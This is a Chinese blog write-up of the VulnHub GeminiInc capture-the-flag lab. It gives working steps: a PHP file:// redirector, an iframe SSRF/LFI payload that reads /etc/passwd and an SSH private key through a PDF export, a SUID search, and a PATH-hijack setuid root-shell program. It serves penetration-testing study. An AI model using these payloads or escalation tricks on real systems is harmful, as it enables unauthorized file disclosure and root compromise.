码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • vulnhub之GeminiInc


    目录

    一、主机发现

    二、服务版本探测

    三、信息收集

    2.主页面

    3.源码

    4.尝试登录

    四、分析功能

    1.export输出pdf

    2.edit profile编辑文件

    五、存储型xss

     六、信息收集

    1.export输出

    七、组合拳XSS+SSRF+LFI

    1.本地开启apache服务

    2.注入payload

    3.export触发

    八、读取gemini私钥

    2.ssh公私钥登录

     九、find信息查找

     十、二进制文件查看

    1. /usr/bin/listinfo文件分析

    2.执行情况

    十一、 系统命令文件伪造

    1.新建date文件

    2.修改环境变量

    3.执行listinfo


    一、主机发现

    半开扫描

    nmap -sS ip

    二、服务版本探测

    三、信息收集

    1.无法加载

    80端口的资源无法被正常加载,因为一直在访问Google的某些站点,挂梯子访问。

    2.主页面

    源码地址给我们了

    3.源码

    逐个查看,在install文件夹下出现了admin@1234

     

    4.尝试登录

     成功登录,左上角多了个功能

    四、分析功能

    1.export输出pdf

    2.edit profile编辑文件

    我们修改的资料会在资料版上原封不动的显示出来。用户名处不存在过滤,

    五、存储型xss

    不足以帮助我们突破边界

     六、信息收集

    1.export输出

    在文档属性中我们发现了一个应用。就是一个html转pdf的应用。

    七、组合拳XSS+SSRF+LFI

     经过搜索,我们可以知道这个应用组件存在这三个漏洞。经过漏洞结合使用,来读取本地文件。

    1.本地开启apache服务

    systemctl start apache2

    cd /var/www/html

    sudo vim 1.php

    创建一个1.php文件

    写入:

    1. <?php
    2. $file = $_GET['file'];
    3. header("location:file://$file");

    2.注入payload

    <iframe src="http://ip/1.php?file=/etc/passwd" width="100%" height=1220></iframe>

    3.export触发

    成功读取/etc/passwd文件。可以看到gemini可以通过shell登录

    八、读取gemini私钥

     

    保存到kali上

    2.ssh公私钥登录

    成功登录

     九、find信息查找

    find / -type f -user root -perm -u+xs -ls  2>/dev/null

     十、二进制文件查看

    1. /usr/bin/listinfo文件分析

    strings  /usr/bin/listinfo

    内容:

    核心代码也就是这几句,调用了系统的命令

    2.执行情况

     

    十一、 系统命令文件伪造

    1.新建date文件

    vim date.c

    内容:

    1. #include<sys/types.h>
    2. #include<unistd.h>
    3. #include<stdlib.h>
    4. int main(){
    5. setuid(0);
    6. setgid(0);
    7. system("/bin/bash");
    8. }

    2.修改环境变量

    先从前面找,再从后面找

    export PATH=/tmp:$PATH

    3.执行listinfo

    提权成功

     拿到flag.txt

     

  • 相关阅读:
    JavaWeb_LeadNews_Day10-Xxljob, Redis实现定时热文章
    git clone避坑的万能步骤
    Java 入门指南:JVM(Java虚拟机)——类的生命周期与加载过程
    碎煤机crusher
    Day 91
    c++设计模式之观察者模式(消息订阅模式)
    js 强制结束循环
    Kafka 架构
    Zabbix“专家坐诊”第203期问答汇总
    docker compose 修改masterLab上传限制问题
  • 原文地址:https://blog.csdn.net/weixin_54431413/article/details/125476117
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号